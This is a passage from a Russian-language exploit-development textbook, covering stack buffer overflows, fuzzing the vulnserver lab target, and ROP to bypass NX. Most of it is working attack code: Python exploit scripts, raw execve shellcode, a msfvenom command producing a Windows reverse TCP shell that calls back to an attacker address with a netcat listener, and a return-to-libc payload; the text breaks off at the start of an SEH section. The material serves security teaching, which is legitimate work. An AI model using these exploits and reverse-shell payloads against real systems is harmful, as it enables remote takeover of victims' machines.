bin/sh шеллкодом (длина32). Выберем любой адрес содержащий 0x90:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += 'C'*32
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

Запустим новый эксплоит:


$./exploit.py

В GDB запустим следующую команду :


$ run $(cat input.txt)

[ 219 ]
Разработка эксплоита – Часть 1 Глава 7

Результат введённой нами команды показан на скриншоте:

Команда приостановила свою работу. Посмотрим в stack и найдем NOP


написав значение 200 в hex памяти:
$ x/200x $rsp

[ 220 ]
Разработка эксплоита – Часть 1 Глава 7

Результат введённой нами команды показан на скриншоте:

Мы нашли инъектированную команду NOP. После NOP вы увидите 32 C (43). Теперь


мы можем взять любой адрес в середине команды NOP; выберем 0x7fffffffe2c0:

Так выглядит наш пейлоад:


#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer +=
'\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x

[ 221 ]
Разработка эксплоита – Часть 1 Глава 7

48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

Запустим эксплоит:
$ ./exploit.py

Внутри GDB выполним команду:


$ run $(cat input.txt)

Результат введённой нами команды показан на скриншоте:

Выполним что то похожее на cat /etc/issue:

Это даст нам /etc/issue.

Сработало!

[ 222 ]
Разработка эксплоита – Часть 1 Глава 7

Полный пример атаки buffer overflow


Посмотрим на всю атаку buffer overflow. Нам нужно установить vulnserver для
Windows. Vulnserver это уязвимый сервер который нам нужен для практики наших
умений. Вы можете найти их по адресу https:/ /
github.
com/
stephenbradshaw/
vulnserver.

После загрузки запустите vulnserver.exe:

Всё работает и мы ждём подключения на порту 9999 используя netcat.

Netcat это устройство для определения подключения к серверу или прослушивания


портов или ожидания соединения других клиентов. Введём nc на атакующей
машине:
$ nc 172.16.89.131 9999

Результат введённой нами команды показан на скриншоте:

[ 223 ]
Разработка эксплоита – Часть 1 Глава 7

Сделаем фаззинг параметра TRUN (который уязвим). Для этого нам нужно написать
скрипт:
#!/usr/bin/python
import socket

server = '172.16.89.131' # IP address of the victim machine


sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*50 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Отправим 50 A:

Всё работает. Попробуем 5000 A:


#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*5000 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

[ 224 ]
Разработка эксплоита – Часть 1 Chapter 7

Введённая нами команда ./fuzzing.py показана на скриншоте::

Нет ответа! Посмотрим на нашу системуWindows:

Программа приостановила работу ссылаясь на место в памяти 0x41414141, которая


и есть введенные нами 5000 A. Во второй стадии контроля RIP,мы создадим шаблон
с 5000 байтами.

С атакующей мащины перейдем в /usr/share/metasploit-


framework/tools/exploit/:

./pattern_create.rb -l 5000

Результат введённой нами команды показан на скриншоте:

[ 225 ]
Разработка эксплоита – Часть 1 Глава 7

Скопируем всё это в наш эксплоит:


#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A
c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
e7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1A
h2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6A
j7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1A
m2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6A
o7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1A
r2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6A
t7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1A
w2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A

[ 226 ]
Разработка эксплоита – Часть 1 Глава 7

y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1B
b2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6B
d7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B
g2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6B
i7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1B
l2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6B
n7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1B
q2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6B
s7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1B
v2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6B
x7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1C
a2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6C
c7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1C
f2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6C
h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1C
k2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6C
m7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1C
p2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6C
r7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1C
u2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C
w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1C
z2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6D
b7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1D
e2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6D
g7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1D
j2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6D
l7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1D
o2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6D
q7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1D
t2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6D
v7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1D
y2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6E
a7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1E
d2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6E
f7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1E
i2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6E
k7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1E
n2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6E
p7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1E
s2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6E
u7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1E
x2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6E
z7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1F
c2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6F
e7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1F
h2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6F
j7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1F
m2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6F

[ 227 ]
Разработка эксплоита – Часть 1 Глава 7

o7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1F
r2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6F
t7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1F
w2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6F
y7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1G
b2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6G
d7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1G
g2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6G
i7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send(('TRUN .' + buffer + '\r\n'))


print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Запустим vulnserver. Затем откроем Immunity Debugger от имени


администратора. Перейдём в File | Attach и выберем vulnserver:

[ 228 ]
Разработка эксплоита – Часть 1 Chapter 7

Нажмём Attach и запустим программу. Запустим эксплоит и посмотрим что


произойдет внутри Immunity Debugger:

Посмотрим в регистр:

Регистр EIP содержит 396F4338. Посмотрим найти щаблом из атакующей мащины:


./pattern_offset.rb -q 0x396f4338 -l 5000

Результат введённой нами команды показан на скриншоте:

[ 229 ]
Разработка эксплоита – Часть 1 Глава 7

Для контроля указателя команды нам нужно инъектировать 2006 A. Затем нам
нужны 4 байта для контроля регистра EIP и для остатка инъектируем шеллкод
(5000-2006-4); это даст нам 2990 значений. Попробуем, чтобы понять
правильно ли мы двигаемся:
#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer+= 'B'*4
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Это то как выглядит наш пейлоад:

[ 230 ]
Разработка эксплоита – Часть 1 Глава 7

Закроем Immunity Debugger и заново запустим приложение. Затем снова запустим


код эксплоита. Нам нудно инъектировать B внутри регистра EIP:

Это сработало! Перепроверим все в Immunity Debugger. Посмотрим на Registers


(FPU):

[ 231 ]
Разработка эксплоита – Часть 1 Глава 7

Мы установили контроль над регистром EIP. Посмотрим на содержимое:

Мы увидим наши A, 4 байта B которые переполнили регистр EIP, затем 299*0 C .

В следующей главе мы сделаем инъекцию шеллкода в эти C.

[ 232 ]
Разработка эксплоита – Часть 1 Глава 7

Заключение
В этой главе мы узнали о таком понятии как фаззинг. Затем увидели как происходит
смещение регистра RIP с использованием Metasploit Framework и очень простой
способ инъекции шеллкода.

В следующей главе мы научимся находить места для шеллкода и как они работают.
Также мы изучим несколько новых методов использования buffer overflow.

[ 233 ]
8
Разработка эксплоитов – Часть 2
В этой главе мы продолжим разрабатывать эксплоиты. Первым делом мы
завершим предыдущий пример сделав инъекцию шеллкода. Далее мы изучим
метод при котором отключается система защиты NX (система NX будет
рассмотрена в последней главе).

В этой главе мы изучим следующие темы:

инъекция шеллкода
возвратно-ориентированное программирование
структурированная обработка исключений

Инъекция шеллкода
Продолжим изучение с помощью примера из прошлой главы. После установки
контроля над указателем команды мы должны инъектировать шеллкод чтобы
перенаправить указатель в нужное для нас место.
Разработка эксплоита – Часть 2 Глава 8

Для этого нам нужно найти мнсто для нашего шеллкода. Всё что нам нужно это
найти команду:

1. Запустите vulnserver и Immunity Debugger от имени администратора.


В меню File выберете attach with vulnserver:

[ 235 ]
Разработка эксплоита – Часть 2 Глава 8

2. Нажмите run program и с пкм выберете Search for; затем выберете


All Commands in all modules чтоюы найти команду без самого
приложения:

[ 236 ]
Разработка эксплоита – Часть 2 Глава 8

3. Дальше нам нужно просто выполнить шеллкод;


найдём команду для JMP ESP и нажмём Find:

[ 237 ]
Разработка эксплоита – Часть 2 Глава 8

4. Скопируем адрес JMP ESP из kernel32.dll 7DD93132, и перезапустим


vulnserver внутри Immunity Debugger. Затем нажмем run program.

Вы можете использовать не только библиотеку kernel32.dll. Если


выиспользуете библиотеку kernel32.dll, то адрес будет меняться
при каждом запуске Windows из за механизма работы ASLR; но если
вы используете библиотеку относящуюся к приложению, но не
относящуюся к системе, то адрес не изменится.

5. Далее из атакующей машины подправим наш эксплоит:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer += '\x32\x31\xd9\x7d'
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

[ 238 ]
Разработка эксплоита – Часть 2 Глава 8

6. Запустим эксплоит. Указатель команды не указывает на 43434343, который является


нашим значением С:

7. Теперь мы готовы внедрить наш шеллкод. Создадим его в Metasploit Framework:

$ msfvenom -a x86 -platform Windows -p


windows/shell_reverse_tcp LHOST=172.16.89.1 LPORT=4321 -b
'\x00' -f python

[ 239 ]
Разработка эксплоита – Часть 2 Глава 8

8. Эта команда создаст reverse TCP shell для соединения к нашей атакующей машине на порту
4321:

9. Законченный эксплоит выглядит так:

#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

junk = 'A'*2006 \\ Junk value to overflow the stack

eip = '\x32\x31\xd9\x7d' \\ jmp esp

nops = '\x90'*64 \\ To make sure that jump will be inside our


shellcode

[ 240 ]
Разработка эксплоита – Часть 2 Глава 8

shellcode = ""
shellcode += "\xbb\x6e\x66\xf1\x4c\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b"
shellcode += "\xc9\xb1\x52\x31\x5a\x12\x83\xea\xfc\x03\x34\x68\x13"
shellcode += "\xb9\x34\x9c\x51\x42\xc4\x5d\x36\xca\x21\x6c\x76\xa8"
shellcode += "\x22\xdf\x46\xba\x66\xec\x2d\xee\x92\x67\x43\x27\x95"
shellcode += "\xc0\xee\x11\x98\xd1\x43\x61\xbb\x51\x9e\xb6\x1b\x6b"
shellcode += "\x51\xcb\x5a\xac\x8c\x26\x0e\x65\xda\x95\xbe\x02\x96"
shellcode += "\x25\x35\x58\x36\x2e\xaa\x29\x39\x1f\x7d\x21\x60\xbf"
shellcode += "\x7c\xe6\x18\xf6\x66\xeb\x25\x40\x1d\xdf\xd2\x53\xf7"
shellcode += "\x11\x1a\xff\x36\x9e\xe9\x01\x7f\x19\x12\x74\x89\x59"
shellcode += "\xaf\x8f\x4e\x23\x6b\x05\x54\x83\xf8\xbd\xb0\x35\x2c"
shellcode += "\x5b\x33\x39\x99\x2f\x1b\x5e\x1c\xe3\x10\x5a\x95\x02"
shellcode += "\xf6\xea\xed\x20\xd2\xb7\xb6\x49\x43\x12\x18\x75\x93"
shellcode += "\xfd\xc5\xd3\xd8\x10\x11\x6e\x83\x7c\xd6\x43\x3b\x7d"
shellcode += "\x70\xd3\x48\x4f\xdf\x4f\xc6\xe3\xa8\x49\x11\x03\x83"
shellcode += "\x2e\x8d\xfa\x2c\x4f\x84\x38\x78\x1f\xbe\xe9\x01\xf4"
shellcode += "\x3e\x15\xd4\x5b\x6e\xb9\x87\x1b\xde\x79\x78\xf4\x34"
shellcode += "\x76\xa7\xe4\x37\x5c\xc0\x8f\xc2\x37\x43\x5f\x95\xc6"
shellcode += "\xf3\x62\x25\xd9\xe2\xea\xc3\xb3\xf4\xba\x5c\x2c\x6c"
shellcode += "\xe7\x16\xcd\x71\x3d\x53\xcd\xfa\xb2\xa4\x80\x0a\xbe"
shellcode += "\xb6\x75\xfb\xf5\xe4\xd0\x04\x20\x80\xbf\x97\xaf\x50"
shellcode += "\xc9\x8b\x67\x07\x9e\x7a\x7e\xcd\x32\x24\x28\xf3\xce"
shellcode += "\xb0\x13\xb7\x14\x01\x9d\x36\xd8\x3d\xb9\x28\x24\xbd"
shellcode += "\x85\x1c\xf8\xe8\x53\xca\xbe\x42\x12\xa4\x68\x38\xfc"
shellcode += "\x20\xec\x72\x3f\x36\xf1\x5e\xc9\xd6\x40\x37\x8c\xe9"
shellcode += "\x6d\xdf\x18\x92\x93\x7f\xe6\x49\x10\x8f\xad\xd3\x31"
shellcode += "\x18\x68\x86\x03\x45\x8b\x7d\x47\x70\x08\x77\x38\x87"
shellcode += "\x10\xf2\x3d\xc3\x96\xef\x4f\x5c\x73\x0f\xe3\x5d\x56"

injection = junk + eip + nops + shellcode


s.send(('TRUN .' + injection + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
10. Снова запустим наш vulnserver. Запустим слушатель на атакующей машине:

$ nc -lp 4321

11. Попробуем использовать наш эксплоит:

.exploit.py

[ 241 ]
Разработка эксплоита – Часть 2 Глава 8

12. Из нашего слушателя выполним следующую команду:

13. Подтвердим используя ipconfig:

14. С этого момента мы контролируем машину жертвы!

Возвратно - ориентированное
программирование
Что такое возвратно-ориентированное программирование (ROP)?

Объясним ROP простыми словами . ROP это метод эксплоита buffer overflow
уязвимости даже если включена система NX. Метод ROP проходит защиту NX
используя устройства ROP.

Устройства ROP это последовательности адресов для команд машины которые уже
хранятся в памяти. Если мы поменяем порядок выполнения одной из команд, то мы
сможем контролировать всё приложение без загрузки шеллкода. Также устройства
ROP заканчиваются командой ret. Если вы не поняли что такое ROP ио мы покажем
это на примере.

[ 242 ]
Разработка эксплоита – Часть 2 Глава 8

Нам нужно установить ropper, который находит устройства ROP в бинарии. Вы


можете скачать его из репозитория GitHub (https:/ithub.
/g sashs/Ropper),
com/
или просто следуйте нашим инструкциям:

$ sudo apt-get install python-pip


$ sudo pip install capstone
$ git clone https://github.com/sashs/ropper.git
$ cd ropper
$ git submodule init
$ git submodule update

Посмотрим на наш код уязвимости, котрый выведется как Starting /bin/ls.


Выполним команду overflow, которая примет данные пользователя и выведет
согласно размеру введенным пользователем:
#include <stdio.h>
#include <unistd.h>

int overflow()
{
char buf[80];
int r;
read(0, buf, 500);
printf("The buffer content %d, %s", r, buf);
return 0;
}

int main(int argc, char *argv[])


{
printf("Starting /bin/ls");
overflow();
return 0;
}

Запустим все, но без выключения NX:


$ gcc -fno-stack-protector rop.c -o rop

Запустим gdb:
$ gdb ./rop

Подтвердим что NX включен:


$ peda checksec

[ 243 ]
Разработка эксплоита – Часть 2 Глава 8

Результат введённой нами команды показан на скриншоте:

Используем фаззинг для контроля RIP используя PEDA вместо Metasploit


Framework:
$ peda pattern_create 500 pattern

Это создаст шаблон из 500 значений и сохранит все в файле pattern. Посмотрим на
вывод шаблона:
$ run < pattern

Результат введённой нами команды показан на скриншоте:

[ 244 ]
Разработка эксплоита – Часть 2 Chapter 8

Программа не работает. Следующий шаг это вывести последний элемент в


stack чтобы вычислить смещение EIP:
$ x/wx $rsp

Мы нашли получили последний элемент 0x41413741 . Узнаем принадлежит ли


он шаблону или RIP:

$ peda pattern_offset 0x41413741

Результат введённой нами команды показан на скриншоте:

Смещение в RIP начнётся с 105. Подтвердим это:


#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += "B"*6
f = open("input.txt", "w")
f.write(buffer)

Этот код переполнит регистр RIP с шестью значениями B:


$ chmod +x exploit.py
$ ./exploit.py

В GDB запустим следующую команду:


$ run < input.txt

[ 245 ]
Разработка эксплоита – Часть 2 Глава 8

Результат введённой нами команды показан на скриншоте:

Предыдущий скриншот говорит нам что мы движемся в правильном направлении.

Так как включен NX то мы не сможем загрузить шеллкод,. Используем ROP методом


return-to-libc (вернемся к библиотеке). Она даёт возможность вызывать команду libc
самостоятельно. Здесь мы используем команду system чтоюы выполнить команду
шелла. Заглянем на страницу man нашей системы:
$ man 3 system

[ 246 ]
Разработка эксплоита – Часть 2 Глава 8

Результат введённой нами команды показан на скриншоте:

Нам нужен адрес команды system и местонахождение строки команды шелл —к


счастью он находится внутри кода /bin/ls.
Всё что нам нужно это скопировать строку в stack. Нам нужно скопировать
местоположение регистра RDI чтобы включить функцию системы для выполнения
команды ls. Нам нужно найти устройство ROP которое извлекает адрес строки и
копирует его в регистр RDI, так как первый аргумент должен быть из регистра RDI.

Запустим устройство ROP. Найдем любое устройство ROP связанное с регистром


RDI. пройдем к месту куда мы установили ropper:
$ ./Ropper.py --file /home/stack/buffer-overflow/rop/rop --search "%rdi"

[ 247 ]
Разработка эксплоита – Часть 2 Глава 8

Результат введённой нами команды показан на скриншоте:

Устройство ROP работает превосходно: pop rdi; ret;, с адресами


0x0000000000400653. Найдем где в памяти находится команда system используя
GDB:
$ p system

Результат введённой нами команды показан на скриншоте:

Мы нашли местонахождение и адрес команды system,


0x7ffff7a57590.

Ваш адрес может быть отличен в зависимости от вашей ОС.

Найдём местонахождение строки /bin/ls используя GDB:


$ find "/bin/ls"

Результат введённой нами команды показан на скриншоте:

[ 248 ]
Разработка эксплоита – Часть 2 Глава 8

Мы нашли местоположение строки и её адрес

0x400697. Логический порядок должен быть таким:

1. Адрес функции system


2. Указатель строки который выскочет из регистра RDI
3. Устройство ROP для извлечения pop, которым будет последний элемент в
списке регистра RDI

Вернём их обратно в stack используя наш код эксплоита:


#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += pack("<Q", 0x0000000000400653) # <-- ROP gadget
buffer += pack("<Q", 0x400697) # <-- pointer to "/bin/ls"
buffer += pack("<Q", 0x7ffff7a57590) # < -- address of system function

f = open("input.txt", "w")
f.write(buffer)

Обновим скрипт при запуске input.txt:


$ ./exploit.py

Из GDB выполним команду:


$ run < input.txt

Логический порядок будет выглядеть так:

[ 249 ]
Разработка эксплоита – Часть 2 Глава 8

Всё работает! И как мы видим команда ls успешно выполнилась. Мы научились


обходить защиту NX.

Обработка структирированных
исключений
Обработка структурированных исключений (SEH) это союытие которое имеет
место во время выполнения кода. Мы используем SEH в таких языках
программирования как, C++ и Python. Посмотрим на следующий код:
try:
